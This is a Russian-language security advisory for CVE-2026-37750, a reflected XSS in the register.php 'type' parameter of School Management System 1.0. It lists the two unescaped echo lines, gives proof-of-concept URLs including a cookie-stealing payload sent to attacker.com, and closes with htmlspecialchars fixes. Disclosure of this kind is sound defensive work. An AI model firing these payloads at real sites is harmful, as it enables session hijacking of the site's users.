
Отражённая PoC-эксплуатация XSS для School Management System 1.0, демонстрирующая неаутентифицированное выполнение JavaScript через параметр type в register.php, с анализом воздействия и рекомендациями по устранению уязвимости.
| Поле | Информация |
|---|
| CVE ID | CVE-2026-37750 |
| Тип | Отражённый межсайтовый скриптинг (XSS) |
| Серьёзность | Средняя (CVSSv3: 6.1) |
| Вендор | mahmoudai1 |
| Продукт | School Management System |
| Версия | 1.0 |
| Обнаружил | Varad AP Mene |
| Дата | 2026-04-16 |
| CWE | CWE-79 |
Уязвимость отражённого межсайтового скриптинга (XSS) в School Management System 1.0 от mahmoudai1 позволяет неаутентифицированным удалённым злоумышленникам выполнять произвольный JavaScript в браузерах жертв через несанитизированный параметр type в register.php. Параметр отражается без экранирования внутри тега h1 на строке 22 и внутри атрибута action формы на строке 26. Для эксплуатации этой уязвимости аутентификация не требуется.
CVE ID: CVE-2026-37750 CWE: CWE-79 CVSSv3: 6.1 Средняя (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
School Management System 1.0 — это PHP/MySQL веб-приложение от mahmoudai1 на GitHub, используемое для управления учениками, учителями и родителями в школах.
register.php — Форма регистрации (аутентификация не требуется)
Строка 22: echo ucfirst($_REQUEST['type'])
Строка 26: echo $_REQUEST['type']
htmlspecialchars() не используется — необработанный пользовательский ввод отражается напрямую в HTML.
Предварительные условия:
Шаг 1 — Откройте браузер и посетите этот URL: http://target/register.php?type=script-alert-document.cookie-/script
Шаг 2 — JavaScript выполняется в браузере Результат: появляется окно предупреждения, показывающее cookie сессии.
Шаг 3 — Полезная нагрузка для кражи cookie: http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script Шаг 4 — Полезная нагрузка для внедрения в атрибут action формы: http://target/register.php?type="-script-alert(1)-/script
Подтверждены две точки внедрения:
Точка внедрения 1 — Внутри тега h1 (строка 22):
echo ucfirst($_REQUEST['type'])
Вывод:
<h1><script>alert(1)</script> Application</h1>
Точка внедрения 2 — Внутри атрибута action формы (строка 26):
echo $_REQUEST['type']
Вывод:
<form action="register.php?type=<script>alert(1)</script>">
Исправление строки 22: echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');
Исправление строки 26: echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');
Varad AP Mene Email: [email protected] GitHub: https://github.com/menevarad007